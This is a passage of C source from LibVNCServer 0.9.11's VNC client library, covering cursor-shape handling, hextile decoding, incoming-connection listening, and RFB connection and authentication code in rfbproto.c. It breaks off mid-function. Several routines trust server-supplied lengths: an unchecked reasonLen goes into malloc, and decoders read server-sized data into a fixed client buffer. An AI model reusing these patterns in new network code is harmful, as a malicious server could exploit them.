is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * cursor.c - code to support cursor shape updates (XCursor and * RichCursor preudo-encodings). */ #include #define OPER_SAVE 0 #define OPER_RESTORE 1 #define RGB24_TO_PIXEL(bpp,r,g,b) \ ((((uint##bpp##_t)(r) & 0xFF) * client->format.redMax + 127) / 255 \ << client->format.redShift | \ (((uint##bpp##_t)(g) & 0xFF) * client->format.greenMax + 127) / 255 \ << client->format.greenShift | \ (((uint##bpp##_t)(b) & 0xFF) * client->format.blueMax + 127) / 255 \ << client->format.blueShift) rfbBool HandleCursorShape(rfbClient* client,int xhot, int yhot, int width, int height, uint32_t enc) { int bytesPerPixel; size_t bytesPerRow, bytesMaskData; rfbXCursorColors rgb; uint32_t colors[2]; char *buf; uint8_t *ptr; int x, y, b; bytesPerPixel = client->format.bitsPerPixel / 8; bytesPerRow = (width + 7) / 8; bytesMaskData = bytesPerRow * height; if (width * height == 0) return TRUE; /* Allocate memory for pixel data and temporary mask data. */ if(client->rcSource) free(client->rcSource); client->rcSource = malloc(width * height * bytesPerPixel); if (client->rcSource == NULL) return FALSE; buf = malloc(bytesMaskData); if (buf == NULL) { free(client->rcSource); client->rcSource = NULL; return FALSE; } /* Read and decode cursor pixel data, depending on the encoding type. */ if (enc == rfbEncodingXCursor) { /* Read and convert background and foreground colors. */ if (!ReadFromRFBServer(client, (char *)&rgb, sz_rfbXCursorColors)) { free(client->rcSource); client->rcSource = NULL; free(buf); return FALSE; } colors[0] = RGB24_TO_PIXEL(32, rgb.backRed, rgb.backGreen, rgb.backBlue); colors[1] = RGB24_TO_PIXEL(32, rgb.foreRed, rgb.foreGreen, rgb.foreBlue); /* Read 1bpp pixel data into a temporary buffer. */ if (!ReadFromRFBServer(client, buf, bytesMaskData)) { free(client->rcSource); client->rcSource = NULL; free(buf); return FALSE; } /* Convert 1bpp data to byte-wide color indices. */ ptr = client->rcSource; for (y = 0; y < height; y++) { for (x = 0; x < width / 8; x++) { for (b = 7; b >= 0; b--) { *ptr = buf[y * bytesPerRow + x] >> b & 1; ptr += bytesPerPixel; } } for (b = 7; b > 7 - width % 8; b--) { *ptr = buf[y * bytesPerRow + x] >> b & 1; ptr += bytesPerPixel; } } /* Convert indices into the actual pixel values. */ switch (bytesPerPixel) { case 1: for (x = 0; x < width * height; x++) client->rcSource[x] = (uint8_t)colors[client->rcSource[x]]; break; case 2: for (x = 0; x < width * height; x++) ((uint16_t *)client->rcSource)[x] = (uint16_t)colors[client->rcSource[x * 2]]; break; case 4: for (x = 0; x < width * height; x++) ((uint32_t *)client->rcSource)[x] = colors[client->rcSource[x * 4]]; break; } } else { /* enc == rfbEncodingRichCursor */ if (!ReadFromRFBServer(client, (char *)client->rcSource, width * height * bytesPerPixel)) { free(client->rcSource); client->rcSource = NULL; free(buf); return FALSE; } } /* Read and decode mask data. */ if (!ReadFromRFBServer(client, buf, bytesMaskData)) { free(client->rcSource); client->rcSource = NULL; free(buf); return FALSE; } client->rcMask = malloc(width * height); if (client->rcMask == NULL) { free(client->rcSource); client->rcSource = NULL; free(buf); return FALSE; } ptr = client->rcMask; for (y = 0; y < height; y++) { for (x = 0; x < width / 8; x++) { for (b = 7; b >= 0; b--) { *ptr++ = buf[y * bytesPerRow + x] >> b & 1; } } for (b = 7; b > 7 - width % 8; b--) { *ptr++ = buf[y * bytesPerRow + x] >> b & 1; } } if (client->GotCursorShape != NULL) { client->GotCursorShape(client, xhot, yhot, width, height, bytesPerPixel); } free(buf); return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncclient/hextile.c000066400000000000000000000064201303145525000230320ustar00rootroot00000000000000/* * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * hextile.c - handle hextile encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles a hextile * encoded rectangle with BPP bits per pixel. */ #define HandleHextileBPP CONCAT2E(HandleHextile,BPP) #define CARDBPP CONCAT3E(uint,BPP,_t) static rfbBool HandleHextileBPP (rfbClient* client, int rx, int ry, int rw, int rh) { CARDBPP bg, fg; int i; uint8_t *ptr; int x, y, w, h; int sx, sy, sw, sh; uint8_t subencoding; uint8_t nSubrects; for (y = ry; y < ry+rh; y += 16) { for (x = rx; x < rx+rw; x += 16) { w = h = 16; if (rx+rw - x < 16) w = rx+rw - x; if (ry+rh - y < 16) h = ry+rh - y; if (!ReadFromRFBServer(client, (char *)&subencoding, 1)) return FALSE; if (subencoding & rfbHextileRaw) { if (!ReadFromRFBServer(client, client->buffer, w * h * (BPP / 8))) return FALSE; CopyRectangle(client, (uint8_t *)client->buffer, x, y, w, h); continue; } if (subencoding & rfbHextileBackgroundSpecified) if (!ReadFromRFBServer(client, (char *)&bg, sizeof(bg))) return FALSE; FillRectangle(client, x, y, w, h, bg); if (subencoding & rfbHextileForegroundSpecified) if (!ReadFromRFBServer(client, (char *)&fg, sizeof(fg))) return FALSE; if (!(subencoding & rfbHextileAnySubrects)) { continue; } if (!ReadFromRFBServer(client, (char *)&nSubrects, 1)) return FALSE; ptr = (uint8_t*)client->buffer; if (subencoding & rfbHextileSubrectsColoured) { if (!ReadFromRFBServer(client, client->buffer, nSubrects * (2 + (BPP / 8)))) return FALSE; for (i = 0; i < nSubrects; i++) { #if BPP==8 GET_PIXEL8(fg, ptr); #elif BPP==16 GET_PIXEL16(fg, ptr); #elif BPP==32 GET_PIXEL32(fg, ptr); #else #error "Invalid BPP" #endif sx = rfbHextileExtractX(*ptr); sy = rfbHextileExtractY(*ptr); ptr++; sw = rfbHextileExtractW(*ptr); sh = rfbHextileExtractH(*ptr); ptr++; FillRectangle(client, x+sx, y+sy, sw, sh, fg); } } else { if (!ReadFromRFBServer(client, client->buffer, nSubrects * 2)) return FALSE; for (i = 0; i < nSubrects; i++) { sx = rfbHextileExtractX(*ptr); sy = rfbHextileExtractY(*ptr); ptr++; sw = rfbHextileExtractW(*ptr); sh = rfbHextileExtractH(*ptr); ptr++; FillRectangle(client, x+sx, y+sy, sw, sh, fg); } } } } return TRUE; } #undef CARDBPP libvncserver-LibVNCServer-0.9.11/libvncclient/listen.c000066400000000000000000000143431303145525000226710ustar00rootroot00000000000000/* * Copyright (C) 2011-2012 Christian Beier * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * listen.c - listen for incoming connections */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include #ifdef WIN32 #define close closesocket #include #else // #ifdef WIN32 #include #include #endif #include #include /* * listenForIncomingConnections() - listen for incoming connections from * servers, and fork a new process to deal with each connection. */ void listenForIncomingConnections(rfbClient* client) { #ifdef WIN32 /* FIXME */ rfbClientErr("listenForIncomingConnections on MinGW32 NOT IMPLEMENTED\n"); return; #else int listenSocket, listen6Socket = -1; fd_set fds; client->listenSpecified = TRUE; listenSocket = ListenAtTcpPortAndAddress(client->listenPort, client->listenAddress); if ((listenSocket < 0)) return; rfbClientLog("%s -listen: Listening on port %d\n", client->programName,client->listenPort); rfbClientLog("%s -listen: Command line errors are not reported until " "a connection comes in.\n", client->programName); #ifdef LIBVNCSERVER_IPv6 /* only try that if we're IPv6-capable, otherwise we may try to bind to the same port which would make all that listening fail */ /* only do IPv6 listen of listen6Port is set */ if (client->listen6Port > 0) { listen6Socket = ListenAtTcpPortAndAddress(client->listen6Port, client->listen6Address); if (listen6Socket < 0) return; rfbClientLog("%s -listen: Listening on IPV6 port %d\n", client->programName,client->listenPort); rfbClientLog("%s -listen: Command line errors are not reported until " "a connection comes in.\n", client->programName); } #endif while (TRUE) { int r; /* reap any zombies */ int status, pid; while ((pid= wait3(&status, WNOHANG, (struct rusage *)0))>0); /* TODO: callback for discard any events (like X11 events) */ FD_ZERO(&fds); if(listenSocket >= 0) FD_SET(listenSocket, &fds); if(listen6Socket >= 0) FD_SET(listen6Socket, &fds); r = select(rfbMax(listenSocket, listen6Socket)+1, &fds, NULL, NULL, NULL); if (r > 0) { if (FD_ISSET(listenSocket, &fds)) client->sock = AcceptTcpConnection(client->listenSock); else if (FD_ISSET(listen6Socket, &fds)) client->sock = AcceptTcpConnection(client->listen6Sock); if (client->sock < 0) return; if (!SetNonBlocking(client->sock)) return; /* Now fork off a new process to deal with it... */ switch (fork()) { case -1: rfbClientErr("fork\n"); return; case 0: /* child - return to caller */ close(listenSocket); close(listen6Socket); return; default: /* parent - go round and listen again */ close(client->sock); break; } } } #endif } /* * listenForIncomingConnectionsNoFork() - listen for incoming connections * from servers, but DON'T fork, instead just wait timeout microseconds. * If timeout is negative, block indefinitely. * Returns 1 on success (there was an incoming connection on the listen socket * and we accepted it successfully), -1 on error, 0 on timeout. */ int listenForIncomingConnectionsNoFork(rfbClient* client, int timeout) { fd_set fds; struct timeval to; int r; to.tv_sec= timeout / 1000000; to.tv_usec= timeout % 1000000; client->listenSpecified = TRUE; if (client->listenSock < 0) { client->listenSock = ListenAtTcpPortAndAddress(client->listenPort, client->listenAddress); if (client->listenSock < 0) return -1; rfbClientLog("%s -listennofork: Listening on port %d\n", client->programName,client->listenPort); rfbClientLog("%s -listennofork: Command line errors are not reported until " "a connection comes in.\n", client->programName); } #ifdef LIBVNCSERVER_IPv6 /* only try that if we're IPv6-capable, otherwise we may try to bind to the same port which would make all that listening fail */ /* only do IPv6 listen of listen6Port is set */ if (client->listen6Port > 0 && client->listen6Sock < 0) { client->listen6Sock = ListenAtTcpPortAndAddress(client->listen6Port, client->listen6Address); if (client->listen6Sock < 0) return -1; rfbClientLog("%s -listennofork: Listening on IPV6 port %d\n", client->programName,client->listenPort); rfbClientLog("%s -listennofork: Command line errors are not reported until " "a connection comes in.\n", client->programName); } #endif FD_ZERO(&fds); if(client->listenSock >= 0) FD_SET(client->listenSock, &fds); if(client->listen6Sock >= 0) FD_SET(client->listen6Sock, &fds); if (timeout < 0) r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, NULL); else r = select(rfbMax(client->listenSock, client->listen6Sock) +1, &fds, NULL, NULL, &to); if (r > 0) { if (FD_ISSET(client->listenSock, &fds)) client->sock = AcceptTcpConnection(client->listenSock); else if (FD_ISSET(client->listen6Sock, &fds)) client->sock = AcceptTcpConnection(client->listen6Sock); if (client->sock < 0) return -1; if (!SetNonBlocking(client->sock)) return -1; if(client->listenSock >= 0) { close(client->listenSock); client->listenSock = -1; } if(client->listen6Sock >= 0) { close(client->listen6Sock); client->listen6Sock = -1; } return r; } /* r is now either 0 (timeout) or -1 (error) */ return r; } libvncserver-LibVNCServer-0.9.11/libvncclient/rfbproto.c000066400000000000000000002160201303145525000232240ustar00rootroot00000000000000/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include #include #include #include #endif #include #include #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG #ifdef _RPCNDR_H /* This Windows header typedefs 'boolean', jpeglib has to know */ #define HAVE_BOOLEAN #endif #include #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include #endif #include #include #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include #endif #include "minilzo.h" #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } /* messages */ static rfbBool CheckRect(rfbClient* client, int x, int y, int w, int h) { return x + w <= client->width && y + h <= client->height; } static void FillRectangle(rfbClient* client, int x, int y, int w, int h, uint32_t colour) { int i,j; if (client->frameBuffer == NULL) { return; } if (!CheckRect(client, x, y, w, h)) { rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); return; } #define FILL_RECT(BPP) \ for(j=y*client->width;j<(y+h)*client->width;j+=client->width) \ for(i=x;iframeBuffer)[j+i]=colour; switch(client->format.bitsPerPixel) { case 8: FILL_RECT(8); break; case 16: FILL_RECT(16); break; case 32: FILL_RECT(32); break; default: rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); } } static void CopyRectangle(rfbClient* client, uint8_t* buffer, int x, int y, int w, int h) { int j; if (client->frameBuffer == NULL) { return; } if (!CheckRect(client, x, y, w, h)) { rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); return; } #define COPY_RECT(BPP) \ { \ int rs = w * BPP / 8, rs2 = client->width * BPP / 8; \ for (j = ((x * (BPP / 8)) + (y * rs2)); j < (y + h) * rs2; j += rs2) { \ memcpy(client->frameBuffer + j, buffer, rs); \ buffer += rs; \ } \ } switch(client->format.bitsPerPixel) { case 8: COPY_RECT(8); break; case 16: COPY_RECT(16); break; case 32: COPY_RECT(32); break; default: rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); } } /* TODO: test */ static void CopyRectangleFromRectangle(rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y) { int i,j; if (client->frameBuffer == NULL) { return; } if (!CheckRect(client, src_x, src_y, w, h)) { rfbClientLog("Source rect out of bounds: %dx%d at (%d, %d)\n", src_x, src_y, w, h); return; } if (!CheckRect(client, dest_x, dest_y, w, h)) { rfbClientLog("Dest rect out of bounds: %dx%d at (%d, %d)\n", dest_x, dest_y, w, h); return; } #define COPY_RECT_FROM_RECT(BPP) \ { \ uint##BPP##_t* _buffer=((uint##BPP##_t*)client->frameBuffer)+(src_y-dest_y)*client->width+src_x-dest_x; \ if (dest_y < src_y) { \ for(j = dest_y*client->width; j < (dest_y+h)*client->width; j += client->width) { \ if (dest_x < src_x) { \ for(i = dest_x; i < dest_x+w; i++) { \ ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ } \ } else { \ for(i = dest_x+w-1; i >= dest_x; i--) { \ ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ } \ } \ } \ } else { \ for(j = (dest_y+h-1)*client->width; j >= dest_y*client->width; j-=client->width) { \ if (dest_x < src_x) { \ for(i = dest_x; i < dest_x+w; i++) { \ ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ } \ } else { \ for(i = dest_x+w-1; i >= dest_x; i--) { \ ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ } \ } \ } \ } \ } switch(client->format.bitsPerPixel) { case 8: COPY_RECT_FROM_RECT(8); break; case 16: COPY_RECT_FROM_RECT(16); break; case 32: COPY_RECT_FROM_RECT(32); break; default: rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); } } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); static void JpegInitSource(j_decompress_ptr cinfo); static boolean JpegFillInputBuffer(j_decompress_ptr cinfo); static void JpegSkipInputData(j_decompress_ptr cinfo, long num_bytes); static void JpegTermSource(j_decompress_ptr cinfo); static void JpegSetSrcManager(j_decompress_ptr cinfo, uint8_t *compressedData, int compressedLen); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if (!WriteToRFBServer(client, tmphost, sizeof(tmphost))) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0, reasonLen=0; char *reason=NULL; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return FALSE; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc(reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return FALSE; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc(reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loopGetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if 